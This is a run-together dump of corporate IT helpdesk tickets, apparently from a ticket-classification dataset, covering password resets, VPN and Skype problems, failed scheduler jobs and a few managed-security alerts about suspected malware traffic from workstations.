, is assigned to Assignment group: GRP\_0.Ticket with Short description: no audio while on skype meeting , Description: no audio while on skype meeting, is assigned to Assignment group: GRP\_0.Ticket with Short description: confidential - project x update - outlook issue with displaying an image in the meeting invite (ms project image, png im, Description: \_x000D\_
\_x000D\_
received from: kehtxprg.uekapfzt@gmail.com\_x000D\_
\_x000D\_
hello company it help,\_x000D\_
\_x000D\_
for some reason the image in the invitations does not show up, as you can see below. the only think is this [!oc([1033])!]\_x000D\_
\_x000D\_
is this an issue on my end how outlook is setup or something from the sender side?\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_577 failed in job\_scheduler at: 09/09/2016 16:50:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_577 failed in job\_scheduler at: 09/09/2016 16:50:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: the odbc connection to glovia-old no longer works to access glovia data, Description: access can no longer connect to dsn=glovia-old. we need this connection to obtain archived data. please assign to keyhtyvin toriaytun., is assigned to Assignment group: GRP\_3.Ticket with Short description: emails not updating in outlook, Description: emails not updating in outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_553 failed in job\_scheduler at: 09/09/2016 15:18:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_553 failed in job\_scheduler at: 09/09/2016 15:18:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: update office to 64 bit, Description: name:kvrmnuix yicpojmf
language:
browser:microsoft internet explorer
email:kvrmnuix.yicpojmf@gmail.com
customer number:
telephone:
summary:update office to 64-bit, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype error, Description: skype error, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to submit a discount form, Description: unable to submit a discount form, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // gso, Description: blank call // gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: please install project 2013 back on the clients pc, Description: please install project 2013 back on the clients pc, is assigned to Assignment group: GRP\_3.Ticket with Short description: in engineering tool, when i try to create a new task, some of the options are not being displayed.. , Description: in engineering tool, when i try to create a new task, some of the options are not being displayed.. \_x000D\_
\_x000D\_
please refer the attachment , is assigned to Assignment group: GRP\_25.Ticket with Short description: job Job\_3194 failed in job\_scheduler at: 09/09/2016 14:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3194 failed in job\_scheduler at: 09/09/2016 14:15:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: supply\_chian\_mgmt\_tool password reset., Description: supply\_chian\_mgmt\_tool password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: lauacyltoe hxgaycze java to be installed, Description: lauacyltoe hxgaycze java to be installed, is assigned to Assignment group: GRP\_0.Ticket with Short description: chg0034110, Description:
received from: afkstcev.utbnkyop@gmail.com
hello everyone
users will receive a message to logon to
afkstcev utbnkyop
senior analyst, bokrgadu euobrlcn
afkstcev.utbnkyop@gmail.com<mailto:afkstcev.utbnkyop@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update inplant\_858871, Description: ticket update inplant\_858871, is assigned to Assignment group: GRP\_0.Ticket with Short description: user needs access to the engineering\_tool., Description: user needs access to the engineering\_tool., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to add contacts to markhtyeting list to receive catalogs in crm , Description: unable to add contacts to markhtyeting list to receive catalogs in crm
user id - kindftyed
contact no -
, is assigned to Assignment group: GRP\_22.Ticket with Short description: incident #in33541962 - phishing form submit - outbound beshryulisted ip - dane-williuthyr, Description: source ip: 10.38.93.30
source hostname: dane-williuthyr
user name: dghuane whryuiams (wijuiidl)
location : usa pa eh
sep , sms status : n/a
field sales user ( yes / no) : no
dsw event log: see below
\*\*
we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating '[ipbl]: phishing form submit - outbound beshryulisted ip' alerts for traffic from dane-williuthyr/10.38.93.30 to 107.180.41.85. the external ip address of 107.180.41.85 has been beshryulisted by our counter threat unit (ctu) team due to its association with malware (phishing form submit - outbound). the affected asset should be investigated as traffic to the beshryulisted ip address may indicate that the host has been infected by malware.
we are escalating this incident to you via a medium priority ticket and e-mail only notification per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at
1) full escalation for related events (high priority ticket and a phone call).
2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal).
sincerely,
ctoc
=========================
event data
=========================
event id: 304247119
event summary: [ipbl]: phishing form submit - outbound beshryulisted ip
occurrence count: 1
event count: 1
host and connection information
source ip: 10.38.93.30
source hostname: dane-williuthyr
source mac address: 28:5a:eb:51:db:f0
destination ip: 107.180.41.85
destination hostname: ip-107-180-41-85.ip.secureserver.net.
destination ip geolocation: schtrtgoyhtsdale, usa
connection directionality: outgoing
device information
device ip: 18.79.63.203
device name: company-internal-asa.company.com-1
scwx event processing information
sherlock rule id (sle): 701525
inspector event id: 031724385
agent id: 103611
event detail:
aug 8 13:11:36 18.79.63.203 %asa-6-302013: built outbound tcp connection 2173940377 for outside:107.180.41.85/80 (107.180.41.85/80) to inside:10.38.93.30/58345 (12.161.199.50/14084)
[correlation\_data]
aug 8 06:46:44 27.38.93.278 dhcpd[2261]: dhcpack on 10.38.93.30 to 28:5a:eb:51:db:f0 (dane-williuthyr) via eth1 relay 10.38.92.1 lease-duration 604800 (renew)
take action
ticket action:
, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_1427 failed in job\_scheduler at: 09/09/2016 13:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1427 failed in job\_scheduler at: 09/09/2016 13:39:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: reparo adobe pdf, Description: os recibo gerados em pdf estÃ£o saindo com caracteres., is assigned to Assignment group: GRP\_0.Ticket with Short description: design\_tool service: file naming convention has changed, Description: the geengineering\_tooloductdata web service calls the design\_tool service to obtain cad models for engineering\_tool.\_x000D\_
i believe this link points to the design\_tool uacyltoe hxgaycze service: \_x000D\_
\_x000D\_
looks like the naming convention has changed in the last few days and files returned by this service are being named with just the materials\_management number.\_x000D\_
(e.g. mm 7304975 in SID\_34. see the attached fw engineering\_tool drills.msg for more details)\_x000D\_
\_x000D\_
the change is causing issues with models not being returned to engineering\_tool.\_x000D\_
engineering\_tool will be demoed at imts starting on monday the 12th. \_x000D\_
need an urgent fix to revert any changes that might have been made to the file naming convention for files from the design\_tool service.\_x000D\_
\_x000D\_
below are the original rules uli had implemented for file names for cad files returned by this service.\_x000D\_
here are the implemented naming rules:\_x000D\_
\_x000D\_
â€¢ if there is a cad\_catalog\_iso it's taken, \_x000D\_
o else if there is a cad\_catalog\_ansi it's taken,\_x000D\_
ï‚§ else rqfhiong zkwfqagb is taken\_x000D\_
â€¢ an underscore plus cad\_graph\_type is added \_x000D\_
â€¢ finally the original file extension is added\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: ticket update on inplant\_858893, Description: ticket update on inplant\_858893, is assigned to Assignment group: GRP\_0.Ticket with Short description: dell 7350 tablet cracked after it was accidentally dropped., Description: dell 7350 tablet cracked after it was accidentally dropped, is assigned to Assignment group: GRP\_3.Ticket with Short description: approval workflow problems, Description: \_x000D\_
i am approfghaching you, as we have problems with our approval workflow for credit memo requests respectively rmas.\_x000D\_
i opened several tickets regarding this topic, which unfortunately did not lead to a final solution.\_x000D\_
maybe it is a (erp-) language problem for my part.\_x000D\_
anyway, i hope, that you can help to get this fixed.\_x000D\_
\_x000D\_
the approval levels for our organization are as follows (regardless who is the sales person in customer account)\_x000D\_
level 1 (1.000â‚¬-4.999â‚¬): jwqyxbzs adpvilqu (afcbrhqw vudghzcb as subsitute, if possible)\_x000D\_
level 2 (5.000â‚¬-9.999â‚¬): jwqyxbzs adpvilqu (afcbrhqw vudghzcb as substitute if possible)\_x000D\_
level 3 (10.000â‚¬-24.999â‚¬): qsoxltny dzjespml (tjnwdauo jkdwbhgs as substitute if possible)\_x000D\_
level 4 (25.000â‚¬ plus): michghytuael rÃ¼nz (tjnwdauo jkdwbhgs as substitute if possible)\_x000D\_
\_x000D\_
it often happens, that these workflows are routed to the wrong person.\_x000D\_
lauacyltoe hxgaycze example: rma 7611183856 was routed to me at level 1 and approved, but then to jmkcewds qkoipbzn at level 2, wo has nothing to do with it.\_x000D\_
\_x000D\_
it takes a lot of time, to gather the wrong routed workflows and to forward them to the responsible person.\_x000D\_
\_x000D\_
i appreciate your help.\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: sound not working, Description: sound not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp will not open, Description:
received from: nkthumgf.mwgdenbs@gmail.com
hi,
is erp down for vpn users? i keep getting this error every time i try to log on to SID\_34. i was in erp @ 2 hrs ago with no troubles. please help.
[cid:image001.png@01d20a93.c5047641]
nkthumgf mwgdenbs
nkthumgf.mwgdenbs@gmail.com<mailto:nkthumgf.mwgdenbs@gmail.com>
ph:
, is assigned to Assignment group: GRP\_0.Ticket with Short description: update on inplant\_857663, Description: update on inplant\_857663, is assigned to Assignment group: GRP\_0.Ticket with Short description: i'm trying to print to our network printer savin c2525, Description: i'm trying to print to our network printer savin c2525, is assigned to Assignment group: GRP\_0.Ticket with Short description: i was kicked out of vpn but i am reconnected now., Description: vpn stopped working but i was able to reconnected after a few minutes., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1348a failed in job\_scheduler at: 09/09/2016 11:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1348a failed in job\_scheduler at: 09/09/2016 11:10:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: error when logging in to hana, Description: please see attached error that i receive when trying to log in to hana, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to login to SID\_1, Description: unable to login to SID\_1, is assigned to Assignment group: GRP\_0.Ticket with Short description: i am locked out of global view prtgghj4k. i need my password reset. this is very urgent as i have payroll reports i must pull , Description: i am locked out of global view prtgghj4k. i need my password reset. this is very urgent as i have payroll reports i must pull from there this morning., is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset for tinmuym alrthyu, Description: windows password reset for tinmuym alrthyu, is assigned to Assignment group: GRP\_0.Ticket with Short description: ltcl8513156 - hgmx5q1 - e6420, Description: rarty has this old laptop that he needs to login to but cannot when it is connected to the network. error: security database on the server does not have a computer account for this workstation trust relationship ...
he can once its not connected with an old password. he needs to play some cds and his new laptop does not have a cd drive.
please see why this laptop cannot be found in ad.
ph: 5446, is assigned to Assignment group: GRP\_3.Ticket with Short description: skype audio is not working , Description: skype audio is not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn vpn is not working, need urgent help, Description: \_x000D\_
\_x000D\_
received from: bmudkpie.qolrvbip@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01d20aae.bff38300]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_engineering\_tools - unable to run reports from etime, Description: unable to run reports from etime, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch business\_client - .net framdntyework needs to be installed, Description: initiated the download of .net 4.5.2, is assigned to Assignment group: GRP\_19.Ticket with Short description: account unlock - erp SID\_34, Description: unlocked the account. todd was able to get in successfully, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch skype, Description: unable to launch skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log into skype, Description: \_x000D\_
\_x000D\_
received from: muywpnof.prtikusy@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i am getting an error trying to log into skype. my address is correct, log in id is correct, and password is correct and have tried a few times and get the same error. what do i need to do be able to log into skype.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account number incorrect : urgent ,, Description: trurthyuft,\_x000D\_
\_x000D\_
per our converstion and shatryung of my screen on teamviewer this morning below is a screen shot of the account issue.\_x000D\_
\_x000D\_
if you look at opportstorage\_product number mdoSID\_3487210 it has the correct account number for the customer 81211699. that opp was created on 7/13/16 and there was no problem selecting that correct account number.\_x000D\_
\_x000D\_
all of the other opportunities were created more recently (after 8/15/16) and i was only able to choose account number 81991714, which is not the correct account number.\_x000D\_
\_x000D\_
i need to close these out today as won.\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: erp engineering tool locked out , Description: erp engineering tool locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: bahdqrcs xvgzdtqj's onbankrding experience, Description: \_x000D\_
\_x000D\_
received from: xzupryaf.vlbikhsm@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
bahdqrcs xvgzdtqj was an intern that we hired on full-time effective aug. 16th. we followed the process of having her old manager transfer her to her new manager in oneteam and then her new manager entered her new job and compensation information like he's been instructed to. however, i have to be honest, her onbankrding experience has been a disaster so far. she says that every time she calls hrss to help her out, they are not very helpful or resolve her issues. hrss will tell her it's an "it problem" and it will tell her that it's an "hr problem." here are some of the issues that she's still having:\_x000D\_
\_x000D\_
\_x000D\_
1. no access to benefit information on collaboration\_tool â€“ when she follows the directions that she was given, she gets an error message that says "needs approval, request has been submitted."\_x000D\_
\_x000D\_
2. no ethics access\_x000D\_
\_x000D\_
3. no expense report access â€“ she was able to enter her expense report, however when she went to submit it she got an error message and now when she tries to log-in, she gets an error message. it said that this is an it problem.\_x000D\_
\_x000D\_
4. no access to the vpn â€“ again, it said that hr needs to update the SID\_34? i'm not really sure what that is.\_x000D\_
\_x000D\_
5. incorrect paychecks â€“ she did not receive a paycheck on 8/30. i told her that depending when her information was processed, payroll might not have caught the fact that she's salary now and then it should all be corrected on her 9/15 paycheck. sharee emailed her yesterday and made it sound like everything was going to be corrected on her 9/15 paycheck, but then sent a follow-up email saying that because u2 already ran, she was not going to be able to backdate and the effective date for this change was going to have to be 9/1. she wants liuytre to provide her hours worked from 8/18 â€“ 8/31. this is not going to work because liuytre stopped tracking her hours since she is now a salaried employee. she was also at a company conference the week of 8/22 and "technically" worked way more than 40 hours that week because she was part of meetings, dinners and after hours' team building activities.\_x000D\_
\_x000D\_
can someone from it and shared services be her "designated" contact and work with her through these issues until everything is figured out? if something is an it issue, can hrss follow-up with it so she's not being passed back and forth? she is beyond frustrated and only has until next friday to figure out her benefits before her eligibility timeframdntye is up.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset erp SID\_34, Description: password reset erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: interface: fc3/34 Â· HostName\_1147 on sandplant\_162 is down since 7:38 am on 09/09 et, Description: interface: fc3/34 Â· HostName\_1147 on sandplant\_162 is down since 7:38 am on 09/09 et, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn queries , Description: vpn queries , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn, Description:
received from: marhty.financial@company.com
hello:
i get the following error when i try to start vpn. also, if i try to do the install it says i need admin rights.
[cid:image001.png@01d20a6f.7ac627e0]
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: please take snapshot of vms manually under HostName\_589 , Description: please take snapshot of vms manually under HostName\_589 , is assigned to Assignment group: GRP\_12.Ticket with Short description: skype content not showing up in meeting , Description: skype content not showing up in meeting , is assigned to Assignment group: GRP\_0.Ticket with Short description: error: trust relationship between this workstation and the primary domain failed, Description: email:oewshlmd.azjfshry@gmail.com
customer number:
telephone:
summary: when i am away from my computer for a length of time, or sometimes at start up i am getting the following error message "the trust relationship between this workstation and the primary domain failed." it is a pain to keep having to totally reboot my computer when i am away from my desk for a time., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype - meetinmg button, Description:
received from: blktuiae.jzakfmhw@gmail.com
dear it
i lost my skpe-button
view of a colleagues
[cid:image001.png@01d20a9c.2d7e8d10][cid:image002.png@01d20a9c.2d7e8d10]
my view
[cid:image003.png@01d20a9c.2d7e8d10]
gÃ¼nter webfnhtyer
manager sourcing
blktuiae.jzakfmhw@gmail.com<mailto:blktuiae.jzakfmhw@gmail.com>
company shared services gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not loading., Description: outlook not loading., is assigned to Assignment group: GRP\_0.Ticket with Short description: finance\_app time out error., Description: finance\_app time out error., is assigned to Assignment group: GRP\_55.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: account extension for fqiurzas eidtfbqk - vvlfbhtyeisd, Description: account extension for fqiurzas eidtfbqk - vvlfbhtyeisd
extend the account for another six months., is assigned to Assignment group: GRP\_2.Ticket with Short description: job bkwin\_ms\_cluster\_inc failed in job\_scheduler at: 09/09/2016 06:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_ms\_cluster\_inc failed in job\_scheduler at: 09/09/2016 06:35:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: audio stop working after company update, Description: audio device stoped working after company update , show the message "no audio output device is installed", \_x000D\_
more coworkers have had this trouble. \_x000D\_
, is assigned to Assignment group: GRP\_62.Ticket with Short description: unable to login to vcenter HostName\_589 through vsphere client, Description: unable to login to vcenter HostName\_589 through vsphere client. kindly check the issue., is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to create delivery - shipments iak, Description: please provide the following:\_x000D\_
\_x000D\_
what order number? \_x000D\_
\_x000D\_
what material or item number? 4752761\_x000D\_
\_x000D\_
what warehouse location? apac\_x000D\_
\_x000D\_
issue description / error message? please check attached, is assigned to Assignment group: GRP\_6.Ticket with Short description: uyjlodhq ymedkatw (lghuiezj3) has mapped the units m (departments), n (public) and s (teams) to the wrong server, Description: uyjlodhq ymedkatw (lghuiezj3) has mapped the units m (departments), n (public) and s (teams) to the wrong server. she would have these units on HostName\_622\_x000D\_
pc name: ekxw8111221\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: usb ports not detecting devices, Description: usb ports not detecting devices, is assigned to Assignment group: GRP\_19.Ticket with Short description: ewel8323721 - konto einlegen., Description: ewel8323721 - konto einlegen \_x000D\_
\_x000D\_
assigning it yevirgnl ylhogjct per ughzilfm cfibdamq., is assigned to Assignment group: GRP\_33.Ticket with Short description: travel expense manager (erp transaction pr05) not working, Description: \_x000D\_
\_x000D\_
received from: bmudkpie.qolrvbip@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
travel expense manager (erp transaction pr05) not working anylonger ?\_x000D\_
\_x000D\_
can't start it, s. below.\_x000D\_
\_x000D\_
[cid:image001.png@01d20a8a.c63eba50]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_10.Ticket with Short description: query from ; avmeocnk.mvycfwka@gmail.com, Description: query from ; avmeocnk.mvycfwka@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: e-mail has been sent to the company quarantine database, Description: e-mail has been sent to the company quarantine database, is assigned to Assignment group: GRP\_26.Ticket with Short description: kabel vga defekt\ zedlet , Description: kabel vga defekt\ zedlet , is assigned to Assignment group: GRP\_24.Ticket with Short description: install kis \ewew8323506 \guvgytniak, Description: install kis \ewew8323506 \guvgytniak, is assigned to Assignment group: GRP\_24.Ticket with Short description: install kis \ewew8323504 \zlqfptjx xnklbfua, Description: install kis \ewew8323504 \zlqfptjx xnklbfua, is assigned to Assignment group: GRP\_24.Ticket with Short description: install zebra \we\_wu102 \pfjwinbg ljtzbdqg, Description: install zebra \we\_wu102 \pfjwinbg ljtzbdqg, is assigned to Assignment group: GRP\_24.Ticket with Short description: install company barcode fÃ¼r ewew8323504 \vzqomdgt jwoqbuml, Description: install company barcode fÃ¼r ewew8323504 \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: install company barcode fÃ¼r ewew8323506 \vzqomdgt jwoqbuml, Description: install company barcode fÃ¼r ewew8323506 \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: job Job\_1348 failed in job\_scheduler at: 09/09/2016 04:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1348 failed in job\_scheduler at: 09/09/2016 04:32:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: ç­”å¤: shipments iak, Description: \_x000D\_
\_x000D\_
received from: wqzarvhx.hfsojckw@gmail.com\_x000D\_
\_x000D\_
hi,all\_x000D\_
i move shipping date to 10th, dn 9169268127 created, pls help to ship out, , is assigned to Assignment group: GRP\_18.Ticket with Short description: job bk\_bia\_bobje failed in job\_scheduler at: 09/09/2016 04:34:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_bia\_bobje failed in job\_scheduler at: 09/09/2016 04:34:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: security incidents - ( #in33826812 ) : possible malware phone home request - rgtw7402550, Description: source ip :83.54.03.93209
system name :rgtw8513661
user name:workstation/server
location :usa nvyjtmca xjhpznds/traversecitymi
sep , sms status :
field sales user ( yes / no) :
dsw event log:
------------------------------------------------------------------------------------
=========================
incident overview
=========================
the ctoc has received at least 7 occurrences of '51444 vid67392 malware defender fakeav phone home' alerts from your isensor device (10.32.100.17/isensor03.company.com) for traffic (not blocked) sourcing from port 52985/tcp of rgtw8513661/83.54.03.93209 destined to port 80/tcp of 204.154.110.244 (wilmington, usa) that occurred on 2016-09-09 at 04:32:25.
the outbound http traffic from the infected device contained the following method data:
protocol: tcp
http method: post
http version: http/1.1
domain: tps10234.doubleverify.com
url path: /event.jpg
user-agent: mozilla/5.0 (windows nt 6.1) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.116 safari/537.36
content length: 15
we are escalating this incident to you via a high priority ticket and phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at .
1) ticket only escalation for related events (medium priority ticket and an e-mail only notification).
2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal).
sincerely,
ctoc
=========================
event data
=========================
related events: [[2 of 2 events not shown due to space constraints]], is assigned to Assignment group: GRP\_3.Ticket with Short description: efdl8111235 - need add. software installed on my new latitude e5470 - storch - tel.: -341, Description: efdl8111235 - need add. software installed on my new latitude e5470 - storch - tel.: -341\_x000D\_
\_x000D\_
- archiving\_tool viewer\_x000D\_
- hardcopy\_x000D\_
- reisekosten, is assigned to Assignment group: GRP\_28.Ticket with Short description: arbeitsplatz: pc+telefon in germany im bÃ¼ro kÃ¼ffner/wÃ¶lfel einrichten, Description: auf grund das ich ab jetzt einen tag in der woche in germany bin um die azubis die in germany stationiert sind zu betreuen benÃ¶tige ich einen arbeitsplatz in germany., is assigned to Assignment group: GRP\_33.Ticket with Short description: access to below applications, Description: \_x000D\_
\_x000D\_
received from: kxmidsga.zokivdfa@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
please provide the access to below applications.\_x000D\_
\_x000D\_
1. company engineering tool.\_x000D\_
\_x000D\_
2. business\_client\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to add lxkecjgr fwknxupq to shared mailbox, Description: need to add lxkecjgr fwknxupq to shared mailbox, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp transaktion pr05 funktioniert nicht, Description:
received from: ida.financial@company.com
hallo,
die erp transaktion pr05 zeigt folgende fehlermeldung:
[cid:image001.png@01d20a74.bee4de80]
mit freundlichen grÃ¼ÃŸen
ida financial
quality technician
email: ida.financial@company.com<mailto:ida.financial@company.com>
geschÃ¤ftsfÃ¼hrer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq
, is assigned to Assignment group: GRP\_10.Ticket with Short description: erp SID\_34 account password is locked, Description:
received from: fwkxbley.stndeick@gmail.com
hi:
users: sonhygg
erp SID\_34 account password is locked, unlock help,, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33826812 ) : possible malware phone home request - rgtw7402550, Description: source ip :83.54.03.93209
system name :rgtw8513661
user name:workstation/server
location :usa nvyjtmca xjhpznds/traversecitymi
sep , sms status :
field sales user ( yes / no) :
dsw event log:
------------------------------------------------------------------------------------
=========================
incident overview
=========================
the ctoc has received at least 7 occurrences of '51444 vid67392 malware defender fakeav phone home' alerts from your isensor device (10.32.100.17/isensor03.company.com) for traffic (not blocked) sourcing from port 52985/tcp of rgtw8513661/83.54.03.93209 destined to port 80/tcp of 204.154.110.244 (wilmington, usa) that occurred on 2016-09-09 at 04:32:25.
the outbound http traffic from the infected device contained the following method data:
protocol: tcp
http method: post
http version: http/1.1
domain: tps10234.doubleverify.com
url path: /event.jpg
user-agent: mozilla/5.0 (windows nt 6.1) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.116 safari/537.36
content length: 15
we are escalating this incident to you via a high priority ticket and phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at
1) ticket only escalation for related events (medium priority ticket and an e-mail only notification).
2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal).
sincerely,
ctoc
=========================
event data
=========================
related events: [[2 of 2 events not shown due to space constraints]], is assigned to Assignment group: GRP\_2.Ticket with Short description: wifi guest account, Description:
received from: scjxobhd.ldypjkmf@gmail.com
hello help team,
a meeting is scheduled at fÃ¼rth on september 14 & 15.
can you pls. arrange wifi guest accounts for the two external trainers for both days:
names:
1. utthku tehrsytu
email: utthku.tehrsytu@de.bosch.com<mailto:utthku.tehrsytu@de.bosch.com>
2. uwe tryhutehdtui
email: uwe.tryhutehdtui@de.bosch.com<mailto:uwe.tryhutehdtui@de.bosch.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock exchange active sync for ios for vmthcrkf iceyusnd (pipfhypeu) : company device., Description: \_x000D\_
\_x000D\_
received from: xvwchsdg.pladjmxt@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
\_x000D\_
is it possible to have exchange active sync for ios unlocked in advance prior to getting the normal email which shall be forwarded??\_x000D\_
\_x000D\_
vmthcrkf iceyusnd will be receiving his iphone today and it would be good if he can use it immediately.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: printer problem / issue information, Description: bei mp60 funktioniert das fax nicht mehr., is assigned to Assignment group: GRP\_33.Ticket with Short description: ordner mbs, Description: \_x000D\_
\_x000D\_
received from: pnroqajb.psbyfhkg@gmail.com\_x000D\_
\_x000D\_
hallo helpteam,\_x000D\_
\_x000D\_
im departmentlaufwerk von germany steel ist im ordner ehs der unterordner mbs verschwunden. bitte wieder herstellen.\_x000D\_
\_x000D\_
vielen dank!\_x000D\_
\_x000D\_
viele grÃ¼ÃŸe / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook search not working., Description: well i have an issue with search tool of my outlook\_x000D\_
whenever i m connected to net, it works but when m working offline, it does nt wrk at all, is assigned to Assignment group: GRP\_26.Ticket with Short description: please help enable the o365 video service, Description: die angehÃ¤ngten video die ich per e-mail Ã¼ber office 365 bekommen lassen sich nicht Ã¶ffnen!!\_x000D\_
\_x000D\_
die videos von "letÂ´s talk" kann ich nicht ansehen., is assigned to Assignment group: GRP\_16.Ticket with Short description: ie browser issue , Description: ie browser issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool :company issue , Description: engineering\_tool :company issue : forbidden error, is assigned to Assignment group: GRP\_0.Ticket with Short description: attendance\_tool login issue, Description:
summary:problem with attendance\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: login problem with attendance\_tool portal, Description:
received from: jchlkard.tcaiyjfg@gmail.com
dear sir,
im facing a problem to login in attendance\_tool portal.
please help to solve the issue.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: united kingdom(company): united kingdom-company-dmvpn-1811-rtr02 went down at 11:03 pm et on 09/08. backup is up, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_11:03 pm et on 09/08. \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
